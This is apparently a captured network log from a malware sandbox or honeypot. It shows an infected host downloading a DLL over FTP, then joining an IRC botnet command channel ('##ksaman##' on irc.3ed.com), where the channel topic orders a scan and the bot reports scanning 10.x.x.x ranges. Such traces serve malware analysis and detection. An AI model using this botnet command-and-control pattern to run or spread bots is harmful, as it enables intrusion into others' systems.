ATTACKER:	220 Welcome to FTPd 
VICTIM:  	USER x 
ATTACKER:	331 Password required 
VICTIM:  	PASS x 
ATTACKER:	230 User logged in 
VICTIM:  	TYPE I 
ATTACKER:	200 Type set to I 
VICTIM:  	PORT 192,168,1,237,4 
ATTACKER:	200 PORT command successful 
ATTACKER:	RETR hqghumea.dll 
ATTACKER:	150 Opening BINARY mode data connection 
ATTACKER:	226 Transfer complete 
VICTIM:  	QUIT 
ATTACKER:	221 Goodbye 
VICTIM:  	USER XP \\ \\ :hxnzingc 
VICTIM:  	USER XP \\ \\ :hxnzingcNICK |XPhxnzingcTMRWork 
VICTIM:  	USER XP \\ \\ :hxnzingcNICK |XPhxnzingcTMRWork 
VICTIM:  	USER XP \\ \\ :bdmqlqp 
VICTIM:  	NICK |XPbdmqlqpTMRWork 
ATTACKER:	:irc.3ed.com NOTICE AUTH :*** Looking up your hostname...:irc.3ed.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 
ATTACKER:	:irc.3ed.com 001 |XPbdmqlqpTMRWork :Welcome to the ROXnet IRC Network |XPbdmqlqpTMRWork!XP@192.168.1.237:irc.3ed.com 002 |XPbdmqlqpTMRWork :Your host is irc.3ed.com, running version Unreal3.2-RC2fix:irc.3ed.com 003 |XPbdmqlqpTMRWork :This server was created Fri May 23 2008 at 18:50:06 CDT:irc.3ed.com 004 |XPbdmqlqpTMRWork irc.3ed.com Unreal3.2-RC2fix iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzNT:irc.3ed.com 005 |XPbdmqlqpTMRWork MAP KNOCK SAFELIST HCN MAXCHANNELS=10 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server:irc.3ed.com 005 |XPbdmqlqpTMRWork WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(ohv)@%+ CHANMODES=beqa,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:irc.3ed.com 422 |XPbdmqlqpTMRWork :MOTD File is missing:|XPbdmqlqpTMRWork MODE |XPbdmqlqpTMRWork :+iwx 
VICTIM:  	USERHOST |XPbdmqlqpTMRWork 
VICTIM:  	JOIN ##ksaman## ksa 
ATTACKER:	:irc.3ed.com 302 |XPbdmqlqpTMRWork :|XPbdmqlqpTMRWork=+XP@192.168.1.237    :|XPbdmqlqpTMRWork!XP@15C1A655.543833F4.2AD31F75.IP JOIN :##ksaman##:irc.3ed.com 332 |XPbdmqlqpTMRWork ##ksaman## :scan asn 3 i -d:irc.3ed.com 333 |XPbdmqlqpTMRWork ##ksaman## kKkKkKkKk 1213562648:irc.3ed.com 353 |XPbdmqlqpTMRWork @ ##ksaman## :|XPbdmqlqpTMRWork :irc.3ed.com 366 |XPbdmqlqpTMRWork ##ksaman## :End of /NAMES list. 
VICTIM:  	PRIVMSG ##ksaman## :{SCANNING}: 10.x.x.x - 10.2.x.x... 
ATTACKER:	:irc.3ed.com 404 |XPbdmqlqpTMRWork ##ksaman## :You need voice (+v) (##ksaman##)